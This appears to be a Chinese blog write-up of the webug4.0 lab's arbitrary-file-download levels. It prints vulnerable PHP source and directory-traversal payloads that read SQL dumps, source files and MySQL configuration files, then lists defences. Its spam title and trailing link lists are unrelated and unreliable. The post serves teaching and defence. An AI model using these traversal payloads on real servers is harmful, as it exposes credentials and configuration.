当前位置: 首页 > wzjs >正文

织梦做的网站打包在dw修改2022世界足球排行榜

织梦做的网站打包在dw修改,2022世界足球排行榜,全国学校网站建设,wordpress 自定义 sql目录 一、文件下载 二、第15关 任意文件下载 1.打开靶场 2.源码分析 3.渗透实战 三、第16关 MySQL配置文件下载 1.打开靶场 2.源码分析 3.渗透实战 (1)Windows系统 (2)Linux系统 四、渗透防御 一、文件下载 本文通过…

目录

一、文件下载

二、第15关 任意文件下载

1.打开靶场

2.源码分析

3.渗透实战

三、第16关 MySQL配置文件下载

1.打开靶场

2.源码分析

3.渗透实战

(1)Windows系统

(2)Linux系统

四、渗透防御


一、文件下载

本文通过《webug4.0靶场第15关任意文件下载与第16关MySQL配置文件下载》来进行渗透实战。文件下载是指 Web 应用程序在处理文件下载功能时,由于代码逻辑缺陷或安全措施不足,导致用户可以非法下载服务器上的敏感文件。

二、第15关 任意文件下载

1.打开靶场

打开webug4靶场的第15关任意文件下载,完整URL地址以及页面如下所示。

http://192.168.71.1/webug4/control/filedownload/file_download.php

如上所示可以对文件进行下载,可能存在任意文件文件下载,复制txt文件的下载地址,参数为file,可以通过指定下载路径来下载文件,如下所示。

http://192.168.71.1/webug4/control/filedownload/file_download.php?file=template/assets/img/1.txt
http://192.168.71.1/webug4/control/filedownload/file_download.php?file=template/assets/img/2.txt

2.源码分析

如下所示,对参数file未做任何过滤, 直接使用fread进行处理,存在任意文件下载,如下所示filepath就是相对路径,因为是与ROOTPATH拼接而成。

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
if (isset($_GET["file"])) {if (!empty($_GET["file"])) {$filePath = ROOTPATH. $_GET['file'];$fileName = substr($filePath, -4);if (file_exists($filePath)) {$file = fopen($filePath, 'rb');Header ( "Content-type: application/octet-stream" );Header ( "Accept-Ranges: bytes" );Header ( "Accept-Length: " . filesize ( $filePath ) );header('Content-Disposition: attachment; filename=a'.$fileName);echo fread ( $file, filesize ( $filePath ) );fclose ( $file );exit ();}}
}
require_once TPMELATE."/file_download.html";

3.渗透实战

如下所示,文件的下载路径相对路径的目录为template的上一层目录,也就是webug根目录。

file=template/assets/img/2.txt

考虑构造如下文件的访问路径。

构造如下相对路径。

file=sql/webug.sql
file=sql/webug_sys.sql
file=sql/webug_width_byte.sql

如下所示,渗透成功,可以进行任意文件下载。

如下所示,下载当前file_download.php文件,可以渗透成功。

file=control/filedownload/file_download.php

三、第16关 MySQL配置文件下载

1.打开靶场

打开webug4靶场的第16关任意文件下载,完整URL地址以及页面如下所示。

http://192.168.71.1/webug4/control/filedownload/ini_file_download.php

构造下载文件地址,如下所示。

http://192.168.71.1/webug4/control/filedownload/ini_file_download.php?file=template/assets/img/1.txt
http://192.168.71.1/webug4/control/filedownload/ini_file_download.php?file=template/assets/img/2.txt

2.源码分析

分析可知代码对参数file未做任何过滤, 直接使用fread进行处理,存在任意文件下载,具体如下所示。

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
if (isset($_GET["file"])) {if (!empty($_GET["file"])) {$filePath = ROOTPATH. $_GET['file'];$fileName = substr($filePath, -4);if (file_exists($filePath)) {$file = fopen($filePath, 'rb');Header ( "Content-type: application/octet-stream" );Header ( "Accept-Ranges: bytes" );Header ( "Accept-Length: " . filesize ( $filePath ) );header('Content-Disposition: attachment; filename=a'.$fileName);echo fread ( $file, filesize ( $filePath ) );fclose ( $file );exit ();}}
}
require_once TPMELATE."/file_download.html";

其实这个源码与上一关完全一致,如下所示。

3.渗透实战

相对而言是需要构造MySQL的配置文件的相对路径。

(1)Windows系统

file=../../Extensions/MySQL5.7.26/my.ini

 如下所示下载了ini文件,渗透成功。

(2)Linux系统

如下所示,webug容器的mysql.ini文件的路径如下所示。

/usr/share/php5/mysql/mysql.ini

源码的根路径如下所示。

/var/www/html

相对而言mysql.ini的相对路径如下所示。

../../../usr/share/php5/mysql/mysql.ini

如下所示渗成功下载ini文件,渗透成功。

四、渗透防御

文件下载可能导致以下问题。

  • 敏感信息泄露:攻击者可利用下载包含敏感信息的文件,如用户账号密码、财务数据、企业机密文档等,进而造成信息泄露,给个人或企业带来严重损失。
  • 系统被恶意篡改:通过下载恶意文件并执行,攻击者能够篡改系统文件、配置信息等,使系统功能异常或出现安全隐患,影响系统的正常运行。
  • 植入恶意软件:下载的恶意文件可能是病毒、木马、蠕虫等恶意软件,它们会在用户设备或服务器上安装并运行,窃取数据、控制设备或发动进一步的攻击。
  • 网站被挂马:攻击者利用文件下载将恶意脚本或代码植入网站,使访问该网站的用户受到攻击,导致用户信息泄露或设备被控制。
  • 服务中断:若关键系统文件被非法下载或破坏,可能导致服务器服务中断,影响业务的正常开展,给企业带来经济损失和声誉损害。
  • 权限提升:攻击者可能通过下载特定文件,获取系统权限提升的方法,进而控制整个系统,获取更高权限的敏感信息和操作权限。

为有效预防文件下载,可从输入验证、文件存储管理、安全配置、日志监控等多个方面采取措施。

预防层面具体措施简要说明
输入验证白名单验证限定合法文件名、类型及路径,仅允许下载白名单内文件
路径验证严格校验文件路径,防止目录遍历攻击,避免直接用用户输入拼接路径
文件存储管理文件隔离将可下载文件与敏感数据分开放置,设置合理访问权限
文件名处理规范文件名,剔除特殊字符,防止恶意篡改
安全配置HTTP 头设置通过设置 Content-Disposition 等头信息,确保文件以安全方式下载
CSP 策略利用内容安全策略,限制页面资源加载来源,防范恶意文件执行
日志监控与审计日志记录记录文件下载请求相关信息,便于追溯异常行为
实时监控借助 IDS 或 IPS 实时监测,及时阻断可疑下载操作
代码管理代码审查定期检查文件下载功能代码,排查验证不严格等
安全测试运用工具与手动测试结合,全面检测潜在安全隐患

文章转载自:

http://iIxYI9nT.fbfnk.cn
http://vTBAlHe9.fbfnk.cn
http://31uyjlzv.fbfnk.cn
http://6mRaizIb.fbfnk.cn
http://EJ9PpEjJ.fbfnk.cn
http://wun6MS7D.fbfnk.cn
http://bAZWnd21.fbfnk.cn
http://UW05Zytv.fbfnk.cn
http://KN7LkGET.fbfnk.cn
http://DgaLWJ6n.fbfnk.cn
http://fpJCvDCN.fbfnk.cn
http://HgTYXb3A.fbfnk.cn
http://yqjpfvN9.fbfnk.cn
http://OmjZMj0E.fbfnk.cn
http://Kq0NEuCV.fbfnk.cn
http://kRsTw6KO.fbfnk.cn
http://56oZcgid.fbfnk.cn
http://Ow11X8JO.fbfnk.cn
http://dhOmZegD.fbfnk.cn
http://9MIN4997.fbfnk.cn
http://2kYGb2Ru.fbfnk.cn
http://BNinhHle.fbfnk.cn
http://lzpP4drG.fbfnk.cn
http://Aq06a9Wv.fbfnk.cn
http://3YhY5KSh.fbfnk.cn
http://ip93y8Sl.fbfnk.cn
http://OVOdSUP0.fbfnk.cn
http://RzmWSQw5.fbfnk.cn
http://XF4yQJZO.fbfnk.cn
http://TxsG4rU7.fbfnk.cn
http://www.dtcms.com/wzjs/636189.html

相关文章:

  • 银川网站建设设计惠州网站建设电话
  • 专业做包装设计网站做交通招聘的网站
  • 做网站笔记本微信网页版二维码
  • 温州网站制作网站wordpress文章显示不全
  • 网站建设设计稿泰安市两学一做网站
  • 网站中文字内容左右切换的js代码莱芜杂谈
  • 怎么简单页网站找图做素材啥网站好
  • 做电影网站一年赚多少钱深圳 网站定制
  • 大连做网站公司阿里云网站备案要多久
  • 我想自己建个网站 应该怎么做app开发流程详细
  • 山东建设厅网站 高英wordpress语言文件编辑
  • 亿客搜网站建设网络营销八大工具
  • 网站域名空间购买南通城乡建设局网站
  • html5教育网站公司的网站建设与维护论文
  • 怎样免费做外贸网站兰州中川国际机场电话
  • 简述织梦网站上传步骤网络科技公司介绍
  • 如何寻找做企业网站的门户网站建设理由
  • 绥化北京网站建设惠州企业建站程序
  • 公司做网站要多少钱如何让人帮忙做网站
  • 福建省建设信息网站咖啡网站模板
  • 全国知名网站主题网站设计
  • 荣耀手机商城官方网站登录入口网络编程基础知识
  • 河西网站建设开发国建设银行e路通网站申
  • 创建学校网站吗商标注册查询网官网
  • 2017民非单位年检那个网站做档案网站的建设
  • 网站个人中心wordpress石家庄百度推广家庄网站建设
  • 家教网站如何建设子商务网站建设的一般流程图
  • 深圳网站设计 商城wordpress域名邮箱
  • 建设家具网站的目的及功能定位天津营销网站建设联系方式
  • 厦门网站建设制作wordpress翻页图片效果